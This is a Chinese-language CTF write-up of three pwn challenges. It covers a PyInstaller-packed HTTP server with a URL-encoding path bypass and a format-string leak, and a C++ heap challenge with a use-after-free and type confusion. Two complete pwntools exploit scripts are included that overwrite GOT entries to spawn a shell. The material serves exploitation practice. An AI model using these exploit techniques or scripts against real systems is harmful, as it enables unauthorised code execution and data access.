异或不在星期天-pwn1

推测应该是一个栈溢出。但是encode函数太大,无法反汇编,因此这里不知道该怎么利用。

patch的话将return 0函数patchexit。直接退出,要保存返回值一致的话还需要将rdi清空。

Babyhttpd-pwn2

首先用ida反编译看到这是一个pyinstaller打包的文件

1
2
3
4
5
6
7
8
9
10
11
12
.rodata:000000000000639D	0000000F	C	/proc/self/exe
.rodata:00000000000063AC 00000019 C Py_DontWriteBytecodeFlag
.rodata:00000000000063C5 0000001D C Py_FileSystemDefaultEncoding
.rodata:00000000000063E2 0000000E C Py_FrozenFlag
.rodata:00000000000063F0 00000019 C Py_IgnoreEnvironmentFlag
.rodata:0000000000006409 0000000E C Py_NoSiteFlag
.rodata:0000000000006417 00000017 C Py_NoUserSiteDirectory
.rodata:000000000000642E 00000010 C Py_OptimizeFlag
.rodata:000000000000643E 0000000F C Py_VerboseFlag
.rodata:000000000000644D 0000000E C Py_BuildValue
.rodata:000000000000645B 0000000A C Py_DecRef
.rodata:0000000000006465 0000001C C Cannot dlsym for Py_DecRef\n

pyinstaller打包的原理是对py进行编码,在执行的过程中会解码出一个pyctmp目录下面,打包之后的程序有一个python解释器,执行pyc

那么将pyinstaller打包之后的elf文件解为py文件有如下的步骤

首先通过https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries中的工具将elf解码为pyc文件。

1
2
objcopy --dump-section pydata=pydata.dump testfile.elf
python pyinstxtractor.py pydata.dump

对于exe文件直接运行这个脚本即可

解码得到pyc文件之后需要将pyc解码为py文件,但是这个题目中struct.pyc可以解码成功,但是主要的input_httpd.pyc无法解码,magic_number错误,那么此时对照struct.pyc修改input_httpd.pyc的头

也就是将03f3 0d0a 0000 0000 0000 0000修改为160d 0d0a 7079 6930 0101

最后使用

1
/usr/local/bin/uncompyle6 input_httpd.pyc > input_httpd.py

解码得到input_httpd.py这个文件。

程序存在两个漏洞,其中一个预计是非预期在do_Get函数中

1
2
3
4
5
6
7
def do_GET(self):
f = self.send_head()
if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
1
2
3
4
5
6
7
8
def send_head(self):
path = self.translate_path(self.path)
f = None
if 'flag' in self.path:
self.send_error(403, self.responses[403][0])
return
if os.path.isdir(path):
pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def translate_path(self, path):
path = path.split('?', 1)[0]
path = path.split('#', 1)[0]
trailing_slash = path.rstrip().endswith('/')
path = posixpath.normpath(unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
if not os.path.dirname(word):
if word in (os.curdir, os.pardir):
pass
else:
path = os.path.join(path, word)

if trailing_slash:
path += '/'
return path

我们看到其实对用户访问的路径进行了检查,但是需要注意的是这里的检查存在问题,也就是检查的对象是self.path,但是打开的文件却是flag。这两个不同,我们看一下translate_path中的逻辑,这里是对我们输入的路径进行了处理,得到url解码之后的部分,并去除了参数等。

那么这里我们就可以利用url编码进行绕过。

1
GET %66%6c%61%67 HTTP/1.1

还有一个漏洞是格式化字符串漏洞,这里也是一个堆溢出的漏洞。

1
2
3
4
5
6
7
8
9
# class BaseHTTPRequestHandler:
def send_header(self, keyword, value):
if type(value) != bytes:
value = value.encode()
if self.request_version != 'HTTP/0.9':
if os_system == 'Linux':
string = ctypes.c_buffer(1024)
self.libc.sprintf(string, value)
self.wfile.write('%s: %s\r\n' % (keyword, string.value.decode()))

这里很明显存在一个格式化字符串的漏洞,这是在BaseHTTPRequestHandler类中使用到的函数,我们看一下调用该函数的位置。

1
2
3
4
5
self.send_header('Content-Type', self.error_content_type)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
if self.set_cookie:
self.send_header('Cookie', self.cookie)

也就是说我们可以在这些成员变量中使用格式化字符串,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  run ./ori_pwn
GET / HTTP/1.1
Set-Cookie: %p-%p-%p-%p

HTTP/1.1 200 OK
Server: BabyHTTP/0.0.1 Python/3.5.2
Date: Thu, 01 Apr 2021 02:04:12 GMT
Cookie: 0x7ffff631d788-0x7ffff631d788-0x7ffff7f94fd8-0x5555555748c0
Content-type: text/html
Content-Length: 20
Last-Modified: Thu, 01 Apr 2021 01:13:49 GMT

<h1>hello world<h1>

但是还不知道如何利用。

c++ pwn3

题目类似于一个auto pwn,即每次链接的时候二进制都不相同。我们首先分一个二进制程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
init();
std::vector<std::shared_ptr<Drawf>>::vector(&vector_list);
while ( 1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Choice: ");
std::istream::operator>>(&std::cin, &choice);
switch ( choice )
{
case 1:
Create(&vector_list);
break;
case 2:
Get(&vector_list);
break;
case 3:
Delete(&vector_list);
break;
case 4:
Clone(&vector_list);
break;
case 5:
Set(&vector_list);
break;
case 6:
View(&vector_list);
break;
default:
puts("Invalid.");
break;
}
}

一共是提供了上面六种操作方法,其中create函数就是创建一个特定类型的shared_ptr,这里创建的shared_ptr会被push back到一个vector中,而创建的类型的名称是随机字符串,也就是每次名称都不相同。

经过调试发现,每种类型包含有四种关键的成员变量,+0x0的位置是一个vtable指针,指向该种类型特定的vtable的位置+0x8的位置存储的是name的位置,这是一个strings类型的变量。也就是说结构体偏移0x10位置存储的是字符串的长度(这一点需要注意,之后operation ==的时候会首先进行长度的比较)。

还有其他两个成员变量的偏移量不断变化,其中一个是vector,另一个是a。每次create的时候都会新分配一个类型的结构体,还有一个特定大小的vector

get函数就是输出a的内容。delete函数就是从vector中删除指定nameshared_ptr。注意的是这里只是删除了shared_ptr本身的地址空间,其vector并没有被删除或者说并没有调用对应的析构函数。

clone函数则是将指定nameshared_ptr_M_ptr重新push_back回去。这里就存在一个漏洞,因为从调试来看,push_backnew_shared_ptr和原来的shared_ptr_M_ptr指针的内容相同,但是_M_pi不同。

Set函数是每次四子节设置vectoroffset的位置的内容

View函数输出vecrtor中保存的所有类型的shared_ptr中的name

通过调试发现了一个就是UAF的漏洞,即clone,delete之后会出现一个悬空指针,我们可以进行double free。同时需要注意的是,在delete之后,悬空指针+0x8的位置会被覆写为pthread_tcache_struct的地址,那么我们通过view就可以泄漏出pthread_tcache_struct的内容。

远程的glibc版本是2.27 1.3/1.4也就是开启了tcache doule free2.27版本,那么这里的悬空指针我们就不能直接构造double free了,因为此时我们还没有能够修改key的方法。

这里利用的是类型混淆,或者说是伪造一个特定类型的shared_ptr。因为发现有种类型的vectorsize正好与某种类型的shared_ptrsize相同。

那么这里我们用这种特定的class进行堆布局,是的vector申请的时候恰好申请到这种大小的size。那么此时vector对应的类型结构体所在的内存空间就链接起来了。那么此时我们全部释放,如果提前布局好tcache的话就可以触发内存合并。

触发完毕内存合并之后,就可以申请一个vector很大的类型,此时vector与上面释放的类型的结构体发生重叠,如果我们提前clone即构造UAF的话,那么就可以利用set vector的方式来伪造结构体中的namevector

那么利用伪造的vector就可以做到任意地址写。而libc基地址的泄漏可以利用name,view的调用链完成。即将name写为某个函数的got表地址。

任意地址写之后就考虑写什么的问题,这里可以直接覆写free_hook,然后利用UAF写入/bin/sh接着调用delete

这里我是利用任意地址写,写got表,覆写memcmp函数的got表为system的地址,然后提前某个类型的name设定为/bin/sh,那么之后进行get_dwaft函数调用即对比name的时候就可以直接触发getshell

这个题目到这里其实还没有完成,因为远程的题目是不断变化的,vector的偏移一直在发生改变。虽然我们可以利用泄漏的pthread_tcache_struct来做到探测各种类型的size,但是之后vector的位置还是没有好的方法。

这里可以直接利用pwntools中的elf函数读取函数固定偏移处的值来获取vector的偏移。

myexp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# encoding=utf-8
from pwn import *

file_path = "./pwn3"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

type_list = ["ynvaul", "wgxzEb", "qOwyJp", "uxPyxf", "PCVqej", "qzPSDm", "pJEJQH", "wMPWXa", "stlHxv", "pYwVfF"]
# size_list = [496, 496, 476, 28, 40, 940, 94, 168, 624, 916]
size_list = []
tcache_map = {}
class_size_list = []
type_addr = 0x407ED8
vtable_address = 0x60C900


# size_list = []


def get_bin():
p.recvuntil('==\n')
data = p.recvuntil('\n===', drop=True)
os.system("echo %s | base64 -d > ./pwn.xz" % data)
os.system("rm ./pwn")
os.system("xz -d ./pwn.xz")
os.system("chmod 777 ./pwn")


def get_type_list():
pwn = ELF('./pwn3')
types = pwn.read(type_addr, 70)
for i in range(0, 70, 7):
type_list.append(types[i:i + 6])


def create(idx, name):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil('type? ')
p.sendline(type_list[idx])
p.recvuntil('name: ')
p.sendline(name)


def create_by_name(type_name):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil('type? ')
p.sendline(type_name)


def delete(name):
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil('name? ')
p.sendline(name)


def clone(name):
p.recvuntil('Choice: ')
p.sendline('4')
p.recvuntil('name? ')
p.sendline(name)


def show():
p.recvuntil('Choice: ')
p.sendline('6')


def set(name, offset, value):
p.recvuntil('Choice: ')
p.sendline('5')
p.recvuntil('name? ')
p.sendline(name)
p.sendlineafter("off val\n", str(offset))
p.sendline(value)


def get(name):
p.recvuntil('Choice: ')
p.sendline('2')
p.recvuntil('name? ')
p.sendline(name)


def view():
p.recvuntil('Choice: ')
p.sendline('6')


def gen_name(i, index):
return type_list[i] + chr(index + ord('a'))


def write_value(name, offset, value):
index = int(offset / 4)
set(name, index, str(value & 0xffffffff))
set(name, index + 1, str(value >> 32))


def get_vtable(index):
return vtable_address + index * 0x38


def get_size_list(idx):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil('type? ')
p.sendline(type_list[idx])
p.recvuntil('size:')
size = int(p.recvuntil('\n', drop=True))
size_list.append(size)
p.sendline(chr(0x61 + idx) * 0x8)


def get_class_size_init():
leak_name = "a" * (0x240)
create(0, leak_name)
clone(leak_name)
delete(leak_name)
show()
p.recvuntil(chr(0x61 + 9) * 0x8)
p.recvuntil("->")
map = p.recv(0x40)
for i in range(len(map) - 2):
key = 0x20 + 0x10 * i
value = u8(map[i:i + 1])
tcache_map.update({key: value})
print(tcache_map)


def get_class_size():
for i in range(10):
size_change_count = 0
delete(chr(0x61 + i) * 8)
show()
if i < 9:
p.recvuntil(chr(0x61 + 9) * 0x8)
p.recvuntil("->")
map = p.recv(0x40)
for i in range(len(map) - 2):
key = 0x20 + 0x10 * i
value = u8(map[i:i + 1])
old_value = tcache_map.get(key)
if value > old_value and key > 0x30:
size_change_count += 1
class_size_list.append(key)
tcache_map.update({key: value})
log.success("detected class {} size is {}".format(i, hex(key)))
else:
map = p.recv(0x40)
for i in range(len(map) - 2):
key = 0x20 + 0x10 * i
value = u8(map[i:i + 1])
old_value = tcache_map.get(key)
if value > old_value and key > 0x30:
size_change_count += 1
class_size_list.append(key)
tcache_map.update({key: value})
log.success("detected class {} size is {}".format(i, hex(key)))
# print(tcache_map)
if size_change_count > 1:
print("error size change count too much")
exit(0)
for i in class_size_list:
print(hex(i))
for i in range(10):
create(i, chr(0x61 + i))


for i in range(10):
get_size_list(i)

print(size_list)

get_class_size_init()
get_class_size()


class_index = 0
vec_index = 0
control_inex = 0


for index, value in enumerate(size_list):
if 4 * value in class_size_list:
vec_index = index
class_index = class_size_list.index(4 * value)
break

for i in range(10):
total_value = class_size_list[i] + size_list[i]
if total_value < size_list[vec_index] * 7:
control_inex = i


log.success("class index is {}".format(class_index))
log.success("vec index is {}".format(vec_index))
log.success("control index is {}".format(control_inex))

if debug:
context.log_level = "debug"
gdb.attach(p, 'b Delete\nb View\nb Set\nb Get\nb Create\nb Clone')
# leak_name = "a"*(0x20000 - 0x7000)
# create(0, leak_name)
# clone(leak_name)
#
# delete(leak_name)
# show()
# #
# # p.recvuntil(gen_name(9, 0))
#
# p.recv(0x40)
# heap_address = u64(p.recv(8))
# log.success("heap address is {}".format(hex(heap_address)))
# while True:
# p.recvuntil(b"\xa0")
# log.success("recevied a0 one")
# data = p.recv(5)
# if b"\x7f" in data:
# libc.address = u64((b"\xa0" + data).ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
# log.success("libc address is {}".format(hex(libc.address)))
# break


create(0, gen_name(0, 0))
create(0, "/bin/shaaaaaaaaa\x00")

# size_list = [496, 496, 476, 28, 40, 940, 94, 168, 624, 916]

# class 6 vec size is 0x5e, 0x5e*4 = 0x178
# class 6 size is 0xa0

# class 3 size is 0x178
# class 3 vec is 0x1c * 4

# class 7 size is 0x70
# class 7 vec size is 0xa8


for i in range(7):
create(6, gen_name(6, i))

for i in range(7):
create(3, gen_name(3, i))

for i in range(7):
delete(gen_name(3, i))

for i in range(8):
create(6, gen_name(6, 7 + i))

for i in range(7):
delete(gen_name(6, i))

clone(gen_name(6, 2 + 7))

for i in range(7):
delete(gen_name(6, 7 + i))

create(7, gen_name(7, 0))

offset = 0x760 - 0x6e0
new_name = p64(0x00000000004029bc)
# if debug:
# context.log_level = "debug"
# gdb.attach(p, 'b Delete\nb View\nb Set\nb Get\nb Create\nb Clone')
# get("/bin/sh\x00")

write_value(gen_name(7, 0), offset, get_vtable(6) + 0x10)
write_value(gen_name(7, 0), offset + 0x8, elf.got['setvbuf'])
write_value(gen_name(7, 0), offset + 0x10, 8)
write_value(gen_name(7, 0), offset + 0x78, elf.got['memcmp'])
write_value(gen_name(7, 0), offset + 0x78 + 0x8, elf.got['memcmp'] + 0x40)
write_value(gen_name(7, 0), offset + 0x78 + 0x10, elf.got['memcmp'] + 0x40)

view()

p.recvuntil(gen_name(6, 14))
p.recvuntil("->")
libc.address = u64(p.recvuntil('->', drop=True)) - libc.sym['setvbuf']
log.success("libc address is {}".format(hex(libc.address)))
# if debug:
# context.log_level = "debug"
# gdb.attach(p, 'b Delete\nb View\nb Set\nb Get\nb Create\nb Clone')
set(p64(libc.sym['setvbuf']), 0, str(libc.sym['system'] & 0xffffffff))
# write_value(new_name, 0x0, libc.sym['system'])

get("/bin/sh\x00")

p.interactive()

xxrw exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# coding:utf-8

from pwn import *
import sys, os, string, re

elf_path = './pwn'

context(os='linux', arch='amd64')
# context.terminal = ['t','-x','sh','-c']
context.terminal = ['tmux', 'split', '-h']

if sys.argv[1] == 'local':
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elif sys.argv[1] == 'remote':
p = remote('172.17.0.6', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

type_list = []
vec_size_list = []
struct_size_list = []
vec_offset_list = []


def get_bin():
p.recvuntil('==\n')
data = p.recvuntil('\n===', drop=True)
os.system("echo %s | base64 -d > ./pwn.xz" % data)
os.system("rm ./pwn")
os.system("xz -d ./pwn.xz")
os.system("chmod 777 ./pwn")


def get_type_list():
types = elf.read(elf.get_section_by_name('.rodata').header.sh_addr + 0xB8, 70)
for i in range(0, 70, 7):
type_list.append(types[i:i + 6])


def get_vec_size_list(idx):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil('type? ')
p.sendline(type_list[idx])
p.recvuntil('size:')
size = p.recvuntil('\n', drop=True)
vec_size_list.append(int(size))
p.sendline(chr(0x61 + idx) * 8)
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil('name? ')
p.sendline(chr(0x61 + idx) * 8)


def get_struct_size_list():
for idx in range(10):
func_name = '_ZN11CreatorImplI6{}E6createEv'.format(type_list[idx])
struct_size_list.append(u32(elf.read(elf.functions[func_name].address + 0x10, 4)))


def get_vec_offset_list():
for idx in range(10):
func_name = '_ZN6{}C2Ev'.format(type_list[idx])
if elf.read(elf.functions[func_name].address + 0x2C, 1) == '\x05':
vec_offset_list.append(u32(elf.read(elf.functions[func_name].address + 0x2D, 4)))
else:
vec_offset_list.append(u8(elf.read(elf.functions[func_name].address + 0x2E, 1)))


def get_vtable_offset(idx):
return elf.get_section_by_name('.data.rel.ro').header.sh_addr + 0x48 + 0x38 * (9 - idx)


# ---------------------------------------------------------------------------------------

def create(idx, name):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil('type? ')
p.sendline(type_list[idx])
p.recvuntil('name: ')
p.sendline(name)


def delete(name):
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil('name? ')
p.sendline(name)


def clone(name):
p.recvuntil('Choice: ')
p.sendline('4')
p.recvuntil('name? ')
p.sendline(name)


def view():
p.recvuntil('Choice: ')
p.sendline('6')


def set(name, offset, value):
p.recvuntil('Choice: ')
p.sendline('5')
p.recvuntil('name? ')
p.sendline(name)
p.sendlineafter("off val\n", str(offset))
p.sendline(value)


def write_value(name, offset, value):
index = int(offset / 4)
set(name, index, str(value & 0xffffffff))
set(name, index + 1, str(value >> 32))


def get(name):
p.recvuntil('Choice: ')
p.sendline('2')
p.recvuntil('name? ')
p.sendline(name)


# ====================================================================
if sys.argv[1] == 'remote':
get_bin()

elf = ELF('./pwn')
get_type_list()
print(type_list)

for i in range(10):
get_vec_size_list(i)
print(vec_size_list)

get_struct_size_list()
print(struct_size_list)

get_vec_offset_list()
print(vec_offset_list)

key = 0
global_i = 0
global_j = 0
for i in range(10):
if key == 1:
break
for j in range(10):
if vec_size_list[i] * 4 == struct_size_list[j]:
key = 1
global_i = i
global_j = j
break

create(global_j, 'lyyltql')
create(global_j, '/bin/sh')
clone('lyyltql')
delete('lyyltql')

elf = ELF('./pwn')
create(global_i, 'xxrwtcl')
write_value('xxrwtcl', 0, get_vtable_offset(global_j))
write_value('xxrwtcl', 0x8, elf.got['setvbuf'])
write_value('xxrwtcl', 0x10, 0x8)
write_value('xxrwtcl', vec_offset_list[global_j], elf.got['memcmp'])
write_value('xxrwtcl', vec_offset_list[global_j] + 0x8, elf.got['memcmp'] + 0x8)
write_value('xxrwtcl', vec_offset_list[global_j] + 0x10, elf.got['memcmp'] + 0x8)

view()
p.recvuntil('->')
libcbase = u64(p.recvn(8)) - libc.sym['setvbuf']
log.success('libcbase = ' + hex(libcbase))

set(p64(libcbase + libc.sym['setvbuf']), 0, str((libcbase + libc.sym['system']) & 0xffffffff))
get('/bin/sh')

p.interactive()